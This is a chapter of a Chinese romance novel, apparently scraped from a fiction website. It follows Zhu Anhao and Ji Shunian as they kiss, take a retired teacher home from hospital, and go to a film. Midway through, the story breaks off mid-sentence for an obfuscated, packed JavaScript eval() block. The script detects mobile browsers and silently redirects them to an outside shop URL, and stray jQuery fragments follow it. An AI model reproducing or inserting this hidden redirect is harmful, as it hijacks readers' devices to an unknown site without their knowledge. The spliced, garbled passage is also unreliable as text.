酒精和吻足以让祝安好本就动摇的心更加摇摆不定,但其实也改变不了太多。
过了一晚再见到季书年,她依旧别扭。
但季书年已经产生了质的蜕变,脸上一直挂着明朗的笑意,看起来一副春风得意的样子,行为动作也都比前两天更加直白。
比如,祝安好刚上车,季书年的手就从前面绕过来,要帮她系安全带。
左臂撑在她右肩上侧的动作持续了很久,鼻尖距离不到十厘米,温热的呼吸与视线相互交缠,焦点不时下移,落在她唇上,似乎随时都有可能吻下来。
昨晚的画面历历在目,闭眼迎上去的冲动像火一样在心头蔓延开来。
但祝安好还是忍住了,努力睁大眼睛和季书年对视,甚至还突然在想,这个动作维持久了还挺考验臂力。
季书年的体能肯定很好。
……
想得有点远了。
她低声说:“干嘛?我又不是不会系安全带。”
“但是我想帮你。”
季书年闷笑,不由分说先在她额头上吻了一下,接着又在她唇上轻轻吻了一下,像啄木鸟一样一下一下的,然后“咔嚓”一声,总算是把安全带系上了。
祝安好猝不及防,都没来得及闭上眼睛,反应过来时季书年已经坐正踩下油门。
她把零散的发丝别到耳后,“我允许你亲了吗?”
季书年反问:“你也没反对不是吗?”
祝安好无法反驳,甚至怀疑季书年可能已经看穿了她的内心,知道她都准备闭眼睛接吻了,所以才敢直接吻下来的。
可是这么快就结束了。
祝安好不想承认她其实有一点点失落,拿起季书年给她带的烧麦,端着纸碗边吃边问:“为什么你今天不摘眼镜了?”
季书年推了下眼镜,说:“如果我摘了眼镜,那应该不会这么快就结束。”
一口烧麦差点没吞下去,祝安好禁不住扭头偷偷看了眼季书年,在被他察觉之前飞快扭过头目视前方,慢慢吐出三个字:“耍流氓。”
季书年却扬声笑起来,坦然接受了这个评价。
而祝安好鬼使神差地开始在脑海里模拟,戴眼镜接吻和不戴眼镜接吻的区别。大概就是戴眼镜会影响发挥,比如深吻时镜架边缘会硌到脸,比如换方向的时候容易撞到,没那么方便。
毕竟季书年接吻的时候会压着她的后脑勺,吻得很深很用力。
所以,季书年什么时候会摘眼镜呢?
也许就是因为脑子里一直在胡思乱想,以至于到了医院以后,祝安好莫名感觉陈怀玉今天看她和季书年的眼神都不一样了。
好在病房里还有两个陈怀玉以前资助过的孩子,当着别人的面,她只字未提。
要不然祝安好还真不知道要怎么解释他们现在的关系。
这两个孩子都不是成都本地人,今年刚毕业工作,也是过来接陈怀玉出院的。不过有祝安好和季书年在,而且他们有车,送陈怀玉回家的任务自然主要落在他们身上。
陈怀玉随身的物品不多,很多都是一次性用品,用完了直接扔掉就行。麻烦的是她床底下塞了好几箱牛奶和水果,趁着陈怀玉今天上午的吊针还没打完,男生自觉跟着季书年一起,先把牛奶和水果都拿到后备箱里,
祝安好也没闲着,拿上陈怀玉的身份证和医保卡,出去帮她办出院手续。
这些手续有些繁琐,她跑完医生办公室,又跑去一楼的缴费窗口排队。刚回到病房,陈怀玉就问她住院总共花了多少钱,说要给她转账。
祝安好如实报了过去,陈怀玉就马上发了个转账过来。
转的钱比实际金额多了一千,她本来想退回,让陈怀玉重新转账,但一抬头就看到陈怀玉笑着对她摇摇头,又看旁边坐着的女生,就只好点了接收。
或许收下才能让她更安心一点。
祝安好帮她把随身证件和病例收起来,问:“找好住家保姆了吗?”
陈怀玉点头:“找了,下午就上门。”
想着就连年轻人请保姆都容易出问题,更何况陈怀玉现在还是行动不便的独居老人,祝安好心里有了想法,帮她把所剩无几的衣物收进行李箱,问:“你之前说要买智能语音产品以防万一,打算什么时候买?”
陈怀玉说:“就这几天了,有个早些年资助的孩子已经工作了,做的就是这些智能产品公司的产品经理,她说她来帮我选。”
既然已经有人包揽了这事,祝安好放心了点,但还是说:“前几天我给我爷爷买了个基础款的Applewatch,能监控心率,紧急呼救,感觉还不错,你也可以考虑一下。”
“放心吧,我会好好考虑的。”
陈怀玉抬头看吊针快打完了,按了下呼叫铃,季书年和男生恰好跟护士同时进来。
护士忙着给她取下滞留针,问:“嬢嬢出院手续都办好了吧?”
祝安好很自然地代为回答:“办好了。”
护士点了点头,叮嘱:“那嬢嬢就可以直接出院了,记得回去一定要注意修养,千万不能乱动,伤筋动骨一百天的。”
“辛苦了啊!”
陈怀玉一想到出院就高兴,乐呵地回了句,在祝安好和女生的搀扶下坐上轮椅,再由季书年推出去,说:“刚才那些水果牛奶,你们四个互相分一下带回去得了。这几天来看我的人一批又一批的,每个人都送点,我一个人哪吃得完喝得完?放久了都浪费了。”
祝安好拉着她的行李箱,问:“都是以前资助过的学生来看你的时候送的?”
“可不吗?一个个真是的。”
“这是好人有好报。”
回话的是季书年,不过祝安好看向他的时候,季书年也正好在看她。
或许这句话也是对她说的。
人上了年纪,身体机能逐渐下降,就算亲人都在身边,也难保不会发生什么意外。像陈怀玉这样摔一跤就进医院的老人实在太多,但还能有这么多人记挂着她的好,把她放在心上,真心对她好,已经是福报中的福报了。
陈怀玉也是这么想的,爽朗一笑:“反正做好该做的事,老天总不会太亏待我。”
“你们还都挺乐观。”
祝安好无奈笑了笑,拿手肘轻轻撞了下季书年,用气声说:“我早晚得回武汉,没办法一直在成都待着,能不能麻烦你以后有空去看看陈主任家稍微看看她?”
这话说得没什么底气,她自己想做又做不了的事情,很难要求别人来帮她完成。
何况她和季书年又是这么难以形容的关系。
她也不知道季书年究竟是怎么看待她一定会离开这个事实的,抿着唇看了他一眼。
季书年却不暇思索:“没问题。”
回答得太快,反而让祝安好又有些不自在,悄悄抓紧袖口,没有再说什么。
不过季书年和她一起搀扶着陈怀玉上了车后,陈怀玉还是没忍住长叹一声:“到时候又要麻烦你们了。”
知道她是听到了刚才的话,季书年摇了摇头,轻声说:“都是我们晚辈应该做的,看一眼也不花多少时间。等你能自由行动了,我就不去叨扰了。”
祝安好跟着说:“就是,你好好养身体就是了,别想那么多。”
“都不知道说你们两个什么好了。”
说话的功夫,两个刚毕业的年轻人手脚利落把轮椅折叠起来放进后备箱,也上了车。
季书年根据导航一路开到陈怀玉家,一个人把陈怀玉背上楼,其他三个人分工把轮椅、行李箱还有水果和牛奶提上去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813336|209782||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,这一上午的忙碌可算是告一段落了。
女生以前就常来陈怀玉家看她,熟悉家里布局,主动去厨房烧热水出来给他们喝。
陈怀玉自己推动轮椅滚轮,回了趟房间不知道在找什么东西,出来后对祝安好和季书年说:“现在我动也动不了的,没法招待你们,就不留你们两个在这吃饭什么的了,免得耽误你们的时间。”
祝安好摇头:“不是说下午保姆要来吗?我和季书年在这可以帮忙看着点。”
“用不着,有他们两个在,出不了问题。”
陈怀玉明白她的心思,先是指了指女生和男生,又把手里的福利卡塞给祝安好,说:“我也没什么能给你的,正好我这有单位福利,每年能看三次免费电影。昨天听有两个孩子聊天说最近有部电影不错,你和季书年要是有时间就拿着去看电影。”
祝安好犹豫:“你自己不看吗?”
“我现在走动又不方便,去电影院多麻烦。”
陈怀玉笑着说:“没什么好纠结的,就这样吧,这段时间谢谢你们。”
她是真不想再多麻烦他们了,脸上虽然是笑着的,但眼神相当坚定,祝安好只好拉着季书年半推半就地出去了。
陈怀玉的一片好意也不好辜负。
下到二楼,祝安好在楼梯上方站定,拉住季书年一根小手指,“你下午有别的安排吗?”
阳光穿过老式楼房的花格窗,倾撒在冷清的水泥墙,积满灰尘的扶手上,楼下街旁邻居围坐一圈摆龙门阵,谈笑声隐隐约约飘上来,和着书上清脆的鸟鸣,空气中弥漫的别家饭菜香,汇成老街坊的烟火气。
微风拂过季书年额前的碎发,又吹过祝安好的发梢。
他笑说:“没有。”
祝安好牵住他的手,说:“那我们就一起去看电影吧。”
陈怀玉推荐的是一部文艺片,票房不高但口碑还行,临开场也能买到中间的座位。
恰好祝安好和季书年在这方面都没有特殊的喜好,只要不是太狗血没逻辑的剧情,基本上给什么看什么。他们根据福利卡的使用说明买好最近一场的电影票,在电影院买了两瓶水和一桶爆米花就进去了。
厅里没多少人,差不多中间最佳观影的这几排里,每一排都有一对情侣。
如果排除她和季书年的话。
影片节奏很慢,开篇就是一个只有环境音的长镜头,但拍得很美,很容易让人沉浸其中,直到祝安好伸手去抓爆米花,右手刚好覆盖到季书年的手背上,两个人都僵住了。
原来影视剧里看电影发生的那些暧昧情节,都是真实存在的。
爆米花不知不觉被抛到九霄云外,两只手就这样紧紧牵住了,谁也没松开,持续到祝安好口渴想要喝水,她把手抽出来拧开瓶盖。
喝水时,她用余光看爆米花桶,季书年的手悬在上方片刻后,拿起了一粒爆米花。
影片整体色调暗沉,男女主也总是穿着暗色的服装,每一处细节都似乎在暗示他们终将分离。
唯一的亮色,是女主穿了条红色长裙,而男主打上了红色领带。
这是一段激情戏,他们共处一室、干柴烈火,吻得不可开交。可落在祝安好眼里,这又让她想起了昨晚。
如果给酒店房间架上一台摄像机,记录下昨晚的每一帧画面。
她和季书年也会像男女主这样吗?
嘴唇有些干燥,她仰头喝了口矿泉水,右手又不自觉伸到爆米花桶里,却再次不小心触碰到季书年的指尖,她有零点零一秒在想,季书年不会是在守株待兔吧?
电光火石间,男女主双双倒在床上,红色领带被扔到地板上,空镜里海浪翻涌。
祝安好脑海里再次蹦出同一个念头。
季书年什么时候会摘眼镜呢?